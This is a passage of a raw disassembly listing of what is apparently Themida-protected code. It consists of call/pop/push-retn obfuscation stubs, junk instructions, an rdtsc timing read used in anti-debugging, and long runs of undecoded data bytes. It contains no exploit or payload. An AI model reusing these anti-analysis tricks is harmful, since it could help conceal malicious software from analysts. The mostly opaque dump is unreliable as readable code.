		inc	edx
		push	edx
		retn
sub_595397	endp

; ---------------------------------------------------------------------------
		db 2Eh
; ---------------------------------------------------------------------------
		jnp	short loc_59540A
		mov	cl, 88h
		mov	edx, [ebp+61424EDh]
		popa
		mov	esi, [ebp+617AA8Ch]
		push	0
		push	ebx
		call	sub_5953C4
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5953C4	proc near		; CODE XREF: Themida_:005953BCp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_5953C4	endp

; ---------------------------------------------------------------------------
		dd 541493A3h, 0E985619Eh, 6, 3664DE08h,	95893449h, 6141A7Dh
		dd 21D5858Bh, 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59540A:				; CODE XREF: Themida_:005953A8j
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		aaa
		push	ecx
		jl	short loc_595487
		jnb	short near ptr loc_595428+1
		mov	[ebp+6142455h],	ecx
		mov	[esi+0C4h], eax
		push	0
		push	edx
		call	sub_59542B


loc_595428:				; CODE XREF: Themida_:00595412j
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59542B	proc near		; CODE XREF: Themida_:00595423p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_59542B	endp

; ---------------------------------------------------------------------------
		db 0FEh
		dd 0ED79CC5Eh, 0CFAFCE3Ch, 15D9BD8Bh, 8B660614h, 29958BFAh
		dd 66061432h, 8308E0BBh, 6A04C2h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 0E611DEC3h, 89F357F0h
		dd 6A2050h, 3E852h
		db 2 dup(0), 20h
; ---------------------------------------------------------------------------


loc_595487:				; CODE XREF: Themida_:00595410j
		pop	edx
		retn
; ---------------------------------------------------------------------------
		pop	edx
		mov	[esp+4], edx
		add	dword ptr [esp+4], 16h
		inc	edx
		push	edx
		retn
; ---------------------------------------------------------------------------
		db 79h,	0F1h, 0D6h
; ---------------------------------------------------------------------------
		clc
		lea	eax, [ebp+617BE06h]
		push	0
		push	edx
		call	sub_5954AE
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5954AE	proc near		; CODE XREF: Themida_:005954A6p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_5954AE	endp

; ---------------------------------------------------------------------------
		dw 5E6Fh
		dd 70E8AF3h, 8509852Eh,	6140CA9h, 8689D88Bh, 0B8h, 8E0Fh
		dd 6A0000h, 0E853006Ah,	3, 5BC35B20h, 4245C89h,	4244481h
		dd 14h,	0F5C35343h, 159D33h, 0B5FF0614h, 617AA98h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0D1C35747h, 0D7A44CADh
		dd 0DDC08060h, 0FF61C38Bh, 14093995h, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
		dd 898FD374h, 1400E585h, 0EE99606h, 0C0000000h,	0AA461AFh
		dd 0D4A184FAh, 0B6F15927h, 12E850A3h, 77000000h, 9E6C6BBBh
		dd 54EB4589h, 0E1B86A7h, 0FCAF6546h, 5B5160CAh,	5F616160h
		dd 6BBB6696h, 98B5FF81h, 6A0617AAh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0CE3AC356h
		dd 8971673Dh, 140E959Dh, 0F595FF06h, 6A061420h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 0F53BC350h, 0BD83FE8Bh, 6140C21h, 32840F00h,	0F000000h
		dd 0E996FBB7h, 14h, 0D3301596h,	0C884030Bh, 0FDD03165h
		dd 80F25D34h, 2AF00357h, 50525050h, 50310F52h, 5A310F52h
		dd 0F585A58h, 96585A31h, 98B5FFFCh, 6A0617AAh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 754CC353h, 8E1694C3h, 68DF8009h, 2B195FFh, 6A0614h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 3F01FFC3h, 98B5FF15h, 890617AAh, 1404F985h, 8195FF06h
		dd 60061430h, 61F88B60h, 95D38166h, 80606169h, 8361C6C9h
		dd 1409F5BDh, 840F0206h, 3Ah, 21C9BD89h, 858B0614h, 6142D01h
		dd 0D3F78166h, 0C6A7h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 0DAC35747h, 8E58AA11h, 6609B79Bh, 85C7F98Bh
		dd 614244Dh, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5956EB
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5956EB	proc near		; CODE XREF: Themida_:005956E3p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_5956EB	endp

; ---------------------------------------------------------------------------
		or	ah, [ebx+468D6EF7h]


loc_595701:				; CODE XREF: Themida_:00595229j
					; Themida_:0059526Ej
		jmp	near ptr dword_594984+8
; ---------------------------------------------------------------------------
		or	[ebp+6141AC1h],	edi
		mov	eax, ecx
		push	0
		push	edi
		call	sub_595719
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_595719	proc near		; CODE XREF: Themida_:00595711p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_595719	endp

; ---------------------------------------------------------------------------
		db 71h,	8Ch, 73h
		dd 8689F182h, 0E9710A05h, 11h, 0EC69220Ch, 9A8A7766h, 0AF730799h
		dd 19D9DD1Ah
		db 8Ah
; ---------------------------------------------------------------------------


loc_595749:				; CODE XREF: Themida_:loc_5948A9j
		lea	eax, [ebp+6140F99h]
		push	0
		push	esi
		call	sub_59575A
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59575A	proc near		; CODE XREF: Themida_:00595752p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_59575A	endp

; ---------------------------------------------------------------------------
		dec	esi
		lea	esp, [esi-48433CE3h]
		clc
		push	eax
		mov	[esp], eax
		push	0
		push	ecx
		call	sub_595781
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_595781	proc near		; CODE XREF: Themida_:00595779p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_595781	endp

; ---------------------------------------------------------------------------
		db 8Ch,	4Ah, 6Ah
		dd 0C4A8898Bh, 0EE9h, 0C16BDE00h, 5E3289A5h, 6EF3E258h
		dd 66B7D4B1h, 0E8E6DF81h, 9589006Ah, 61414E1h, 9D33006Ah
		dd 6141615h, 0CDF8858Dh, 6A0618h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 8D8960C3h, 6140971h
		dd 8B05C083h, 1412BD9Dh, 11E99006h, 0B9000000h,	0E12B8DC5h
		dd 0BBCB65DAh, 0D63B535Fh, 868F6331h, 0BB665350h, 905BD05Ah
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0DCC35343h
		dd 455CFEh, 0F60EBD1h, 683h, 39958900h,	6A061430h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 50EF7AE4h, 8B19D2F8h, 140975BDh, 6A006A06h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 50ACC351h, 0FF98037Fh, 141A7195h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 9454FA3Ah
		dd 0E9D85131h, 0Fh, 2FFBA440h, 0AE71E3C5h, 0CE88687Eh
		dd 8DBB9BA3h, 17A8FC8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 7624F643h, 33BF60B1h
		dd 8B65B305h, 140E398Dh, 0D1FF6106h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 7C35343h, 50E44EF0h, 6EBBF007h
		dd 834418AEh, 1412CDBDh, 850F0106h, 0A7h, 0C6CB8166h, 7AD78105h
		dd 6A5EC078h, 55006A02h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 0D1958994h, 80061402h, 509002CFh
		dd 9E952h, 524A0000h, 0F0FC3D55h, 0F03B5ADh, 5E831h, 901B0000h
		dd 5FA4975Ch, 0BF50585Ah, 6A3D8C78h, 51006A90h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 93154BDEh
		dd 0D982CBA6h, 93995FFh, 6A0614h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 0AF8C0DC3h, 78BF10BDh
		dd 0E9272ED9h, 0D99h, 0E8h, 0ED815D00h,	618CE02h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 82C35343h, 6A65B035h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 0A3DBC351h, 2EFDB589h, 858D0614h,	6179623h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0ECC35040h
		dd 2349A384h, 1425E1BDh, 0CB816606h, 60907B54h,	61616060h
		dd 61D68B66h, 983EBF50h, 6A904F1Eh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 315C357h
		dd 2B818589h, 0FF640614h, 35h, 59BD8900h, 6406142Fh, 2589h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 0D0F647C3h, 8DBD0B08h, 0FF061431h, 14236D85h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 1AA4F1B7h, 0C49BAE44h, 0BB66313Bh, 0FF6A7E24h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0A0C35141h
		dd 0EA3EC897h, 95858976h, 5106140Ch, 0FF5BD98Bh, 142319B5h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 8174F882h, 69BD89F0h, 0FF06140Eh, 142B1995h
		dd 0F0E906h, 0BD8B0000h, 6141D41h, 0B032B3h, 0DE8h, 1150FE00h
		dd 548BE7C0h, 6ECAB287h, 0B529502Ah, 6141FC5h, 0E470E65Fh
		dd 41BD8B71h, 3C061411h, 0BB830F61h, 23000000h,	1408F9BDh
		dd 0C8B60F06h, 0D4EB8166h, 6BAAEh, 0B70F0000h, 0BFC18BD9h
		dd 71EDCBB3h, 8104E8C1h, 66FD53EFh, 0E2F76623h,	0BF66C82Bh
		dd 0D18B70FEh, 83E9EBB3h, 0FC000000h, 12E9h, 0E12E6B00h
		dd 0A933D047h, 17478B4h, 2C0919A6h, 8B2CB54Ch, 185h, 0DBBF0F00h
		dd 8007C083h, 0C083E9C3h, 1DBD8B00h, 3B06142Dh,	19830FD0h
		dd 0F9000000h, 45E9h, 0EE900h, 32A90000h, 0CCEAAC3Eh, 47CEA425h
		dd 1A4D82F7h, 0FFFF8D8Bh, 8B66FFFFh, 1E183FAh, 20840Fh
		dd 0BD8B0000h, 6142C65h, 0FFFFA583h, 66FEFFFFh,	3E17E381h
		dd 19589h, 8B660000h, 0E9FAh, 0B58D0000h, 6184BE9h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 76C35545h, 0F8C5DC34h
		dd 0E918589h, 6A0614h, 0C591FBFh, 0CD9D8B63h, 0FF06141Ch
		dd 14116995h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 12FF82A9h, 0F5FAE550h, 0FF8B9h, 5DBD8B00h
		dd 8306140Fh, 6AFCE1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 60D7A2C3h, 0FD8BF0Fh, 0FC61D8B7h
		dd 9E8h, 84B5B400h, 10B0DA0Ah, 8B66EDE8h, 7E85FFBh, 6000000h
		dd 19D955Ah, 8D89CA2Dh,	614199Dh, 6AC02B5Fh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0CA94C351h, 7D0E20B0h, 0CEA393C0h, 0D98B66F9h, 0BAh
		dd 0ADFA8B00h, 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 3A47C356h, 0AB6DD989h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 3FC35141h, 0FA8B3294h, 880Dh,	35BD8B00h
		dd 8B06140Dh, 14322995h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 6249DC98h, 4D8D8BF5h
		dd 6A061406h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 0F205C351h, 50CEC658h,	188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 53006A58h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 2921409Dh
		dd 140F819Dh, 0ADBD8306h, 61429h, 84840Fh, 0DA8B0000h
		dd 0B8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 8DF01C83h, 0CCD5E8A8h, 0C2DB813Eh
		dd 8D432E5Dh, 144D798Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 8B89FAC1h, 142AF19Dh
		dd 6AE1FF06h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 0D54AC356h, 6E562FB6h,	0F359509h
		dd 0BD830614h, 6142671h, 0FB840F00h, 6A000003h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 76CBC350h, 0FE9CCEEh, 684h, 51BD8B00h, 8306141Ah, 142671BDh
		dd 840F0106h, 3DDh, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 6EC35040h, 5F722BE8h,	5B6ABA80h, 6024BB66h
		dd 2671BD83h, 0F030614h, 37286h, 818D8900h, 60061429h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 67C35040h
		dd 663E8B21h, 0A443D381h, 6AD98C66h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0EACC353h
		dd 4E18011h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	96C35747h, 289F5B0Eh, 0C90AB138h, 140840Fh
		dd 66600000h, 0B533FA8Bh, 6142945h, 69858B61h, 6A061419h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 0A774C351h, 4E783EE6h, 8185331Ch,	0E906141Bh
		dd 0Fh,	0FD2CC835h, 7572F9F8h, 71EB1009h, 2B84C5C6h, 1419ADBDh
		dd 0FE89006h, 2C000000h, 7D7B68B7h, 0BFA507ABh,	91256367h
		dd 12E90E0Dh, 0B8000000h, 4B9000FEh, 0CB27A6F7h, 7D26FB7Dh
		dd 3EDB50E8h, 0F505F1Bh, 482h, 72BB6600h, 9589909Ch, 61403D1h
		dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 9D141AC3h, 0C571088Ah, 0B668D935h, 0F957BB0h
		dd 138Ah, 0DE800h, 4D2C0000h, 0C244FE14h, 0DE1D8333h, 5FBC9867h
		dd 49240481h, 316AA353h, 1413898Dh, 0AD95FF06h,	6A061409h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 89E1C353h, 17AA9885h, 21BD8B06h, 0E906142Ch
		dd 187h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 16h,	4FC35141h, 6660CBD0h, 8B4FF0B8h, 14224995h, 858B6106h
		dd 617AA90h, 2B45B589h,	0C70614h, 18h, 106D8531h, 0B58B0614h
		dd 617AA94h, 244A28BFh,	29858B5Fh, 6A06140Bh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 80B1C355h, 248FD1DCh, 9DBD8BF9h, 8906142Ah, 1958906h
		dd 8B06140Dh, 14196985h, 8E806h, 526F0000h, 45D513C8h
		dd 0F380EF2Fh, 0BD8B5FD3h, 6141C61h, 81044689h,	13BD77EBh
		dd 6056962Eh, 14E8h, 0E0E59600h, 4E186BE7h, 0EDA3087Ch
		dd 0E8D0168Eh, 0CEA99DADh, 0E28A5EF2h, 0BB505B61h, 76C8F3FDh
		dd 50006A96h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 0DCDDEF7Dh, 9D091B1Ch, 6141411h,	0AA90B5FFh
		dd 890F0617h, 6, 30C59589h, 46680614h, 81E18856h, 0ADB92404h
		dd 6A1E96h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 8DA9FAC3h, 985FFAC7h, 0F5DA3444h,	0AA98858Dh
		dd 6A0617h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 987BA5C3h, 95295370h, 61408A9h, 0F53505Fh
		dd 81h,	4895F00h, 96D78124h, 0FF157D56h, 1409AD95h, 6DBD3106h
		dd 61061426h, 11059D8Bh, 85C70614h, 6142671h, 3, 58E0Fh
		dd 81660000h, 33B308C3h, 143049BDh, 98BD8306h, 617AAh
		dd 2D840Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 180424h, 51410000h, 3E7D74C3h, 0DB71A45h, 21E9h, 0ADB52900h
		dd 50061430h, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 9D89C08Bh,	6142369h, 13E9h, 7563F700h, 5B94CF0h
		dd 42612573h, 5E48E020h, 0C82EE016h, 0FE9h, 2C57A300h
		dd 8F6AD602h, 0D1B7DBA7h, 7BB96A50h, 2671BD83h,	0F030614h
		dd 42085h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 0E924F922h, 12h, 0ECD77548h, 7D8E0234h
		dd 442CC140h, 7F229248h, 0BD837525h, 617AA98h, 0DE840F00h
		dd 6A000003h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 2EFFC357h, 633A612Dh, 8B1244CEh
		dd 140F5D9Dh, 98B5FF06h, 6A0617AAh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0BA86C353h
		dd 0F595FFB0h, 6A06142Ah, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 5A9AC355h, 8BFEB70Fh
		dd 17AA8CB5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 6C7F8ABh,	10001h,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Ah, 3EC35242h, 0B6EE40E4h
		dd 0DB815532h, 4D539899h, 505B5196h, 0F965F51h,	0B5FFFBB7h
		dd 617AA98h, 0FFDF8B66h, 140B3195h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 1292983Dh
		dd 6F8EA4E5h, 0B58BB5B7h, 617AA8Ch, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 53C35646h, 5053E6F2h, 9099529h
		dd 0BB660614h, 858B0D07h, 61421D5h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 6DC35242h, 0C4868943h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 8B2AC352h, 14322995h, 9D316006h, 6141191h
		dd 168C0Fh, 11E90000h, 82000000h, 0FF655644h, 0E94A85DFh
		dd 0C12607D6h, 240A965Ah, 4C28361h, 10E9h, 20C2EB00h, 0DB1B960h
		dd 0DE9D32Eh, 79FE43D6h, 2050891Fh, 0A499509h, 858D0614h
		dd 617BE06h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	0EC35040h, 89E67DECh, 0B886h, 0DAB70F00h, 6A006Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 136261C3h, 7B52A837h, 0D9BF0FDFh, 0AA98B5FFh, 0EB810617h
		dd 5B9255C8h, 93995FFh,	0BB500614h, 7614A577h, 6A243489h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 2E0C352h,	589C2A82h, 0B98531C0h, 0FF061405h
		dd 17AA98B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 5116A136h, 963EDCF7h, 58F0FD6h, 0BF000000h
		dd 1C64D75Dh, 20F595FFh, 0E9600614h, 5,	3798C8A1h, 0C1816697h
		dd 8361AA35h, 140C21BDh, 840F0006h, 39h, 31F9BD8Bh, 51960614h
		dd 0EE8h, 940A6600h, 456B725Fh,	0D8A2EC65h, 66F427C9h
		dd 5FB915BBh, 0BE9505Bh, 66000000h, 7F6255C9h, 70009E65h
		dd 31964A3Fh, 142CB995h, 98B5FF06h, 6A0617AAh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 0C55FC355h, 5A413953h, 11E9h, 48DDC300h, 0D611EE35h
		dd 0C95BD03Fh, 0DB0A6730h, 95FF02C8h, 61402B1h,	2FB1BD89h
		dd 0BD8B0614h, 6142565h, 0AA98B5FFh, 6A0617h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 0B557A2C3h
		dd 66B031C5h, 86C2EF81h, 308195FFh, 6E80614h, 25000000h
		dd 5F47A617h, 199D8B8Fh, 5F061402h, 9F5BD83h, 0F020614h
		dd 3E84h, 0DD9D0300h, 8B061408h, 142D0185h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 0EF120C2Ch, 0B0BB8E38h, 10D18529h, 0C60614h,	0ED38100h
		dd 0C7670602h, 14244D85h, 6, 95315300h,	6141005h, 0F3B0E95Fh
		dd 9D29FFFFh, 6140C89h,	6AC18Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 299CD1C3h, 8BCA593Eh
		dd 140579BDh, 99858D06h, 6A06140Fh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 0BD22C357h, 50FA8A25h, 6A240489h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0CD0C352h
		dd 2B91A976h, 1424B1BDh, 6A006A06h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 2976C355h
		dd 140575B5h, 14E806h, 0B6D20000h, 8849124Eh, 0C3448599h
		dd 7DBEA455h, 35693DB0h, 0CE917D5h, 5B000000h, 0FE91A466h
		dd 68E386BFh, 5B20CC77h, 850F006Ah, 6, 2945BD8Bh, 858D0614h
		dd 618DE2Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	75C35747h, 42BFDA23h, 0C268685Eh, 58DF8166h, 658589EAh
		dd 83061419h, 6A05C0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 1FCE6CC3h, 53198014h, 5690BF0Dh
		dd 9D8B7C7Eh, 6140B09h,	0EE950h, 8600000h, 6F27BAA7h, 0EAD87DD6h
		dd 9ADE86C0h, 89240489h, 140CC1B5h, 6A006A06h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 6A45C353h, 8F0F00h, 0FF000000h, 141A7195h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 77B750E6h, 0FC8D8D5Fh, 6A0617A8h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 1572C351h
		dd 0D1FFB534h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	97C35747h, 9589F558h, 61414C1h,	12CDBD83h, 0F010614h
		dd 0C085h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 7A1668ACh, 0A8BB6649h, 6A026AF2h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 0B7FAC356h, 0FD8AD5D6h, 0FE990h, 85E70000h
		dd 95CA4382h, 243FCA0Dh, 0C5EC7629h, 13E850C2h,	0B9000000h
		dd 8D7FFAE7h, 1AB17CCDh, 64826CCFh, 86CADAh, 5250FE48h
		dd 310F5B56h, 8E9h, 0ACB84B00h,	0B2103A9Ch, 5B585A6Dh
		dd 12E890h, 36500000h, 1C17ABADh, 0C31FD384h, 500F906h
		dd 8F4E7DC4h, 0CEF38166h, 0BD8B5F3Fh, 6142B2Dh,	93995FFh
		dd 8B660614h, 28B0FFBh,	0B7000000h
		db 0D1h
; ---------------------------------------------------------------------------


loc_596A09:				; DATA XREF: Themida_:0054A544o
		jmp	loc_597837
; ---------------------------------------------------------------------------
		call	$+5
		pop	ebp
		sub	ebp, 618DE34h
		push	0
		push	edi
		call	sub_596A25
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_596A25	proc near		; CODE XREF: Themida_:00596A1Dp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_596A25	endp

; ---------------------------------------------------------------------------
		mov	al, 86h
		dec	esi
		mov	edi, [ebp+6140A51h]
		mov	edi, [ebp+6141B51h]
		jmp	loc_596A57
; ---------------------------------------------------------------------------
		db 25h,	0CFh, 41h
		db 90h
; ---------------------------------------------------------------------------
		retn	1207h
; ---------------------------------------------------------------------------
		dd 75E4E908h
; ---------------------------------------------------------------------------
		dec	ebx
		ficom	dword ptr [edi]


loc_596A57:				; CODE XREF: Themida_:00596A44j
		lea	eax, [ebp+6179623h]
		push	0
		push	ecx
		call	sub_596A68
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_596A68	proc near		; CODE XREF: Themida_:00596A60p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_596A68	endp

; ---------------------------------------------------------------------------
		sbb	[ebx-15h], ch
		push	eax
		push	eax
		push	edx
		jmp	loc_596A96
; ---------------------------------------------------------------------------
		db 0F8h
		dd 61E6B0E0h, 2A3F103Dh, 36AB86B7h, 0B9886966h
		db 0C9h, 36h
; ---------------------------------------------------------------------------


loc_596A96:				; CODE XREF: Themida_:00596A7Ej
		rdtsc
		pop	edx
		pop	eax
		mov	[esp], eax
		push	0
		push	esi
		call	sub_596AA8
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_596AA8	proc near		; CODE XREF: Themida_:00596AA0p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_596AA8	endp

; ---------------------------------------------------------------------------
		dd 1F84685Ah, 9EF21B4Ah, 0DE9h,	920A100h, 461CB915h, 19AB1FEBh
		dd 0FF645324h, 35h, 8AF38100h, 64400B83h, 2589h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0FFF3C4C3h, 14236D85h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 0F16C7455h
		dd 6AFF6AF8h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 25E1C355h, 62E381A7h, 0FF37DDDBh
		dd 143099B5h, 57FB8B06h, 18B0Fh, 5FFC0000h, 2B1995FFh
		dd 2EE90614h, 53000001h, 315BF98Bh, 140E69BDh, 2900B006h
		dd 1425A585h, 6670E606h, 91A6D381h, 840F71E4h, 16h, 11E9h
		dd 37EAD900h, 0E96427F9h, 0DD625378h, 56538C51h, 613C0F6Ah
		dd 0EF830Fh, 0BE80000h,	0AD000000h, 1795F45Bh, 0B222656h
		dd 0B589D070h, 6141ADDh, 0C8B60F5Bh, 6BAFA8Bh, 80000000h
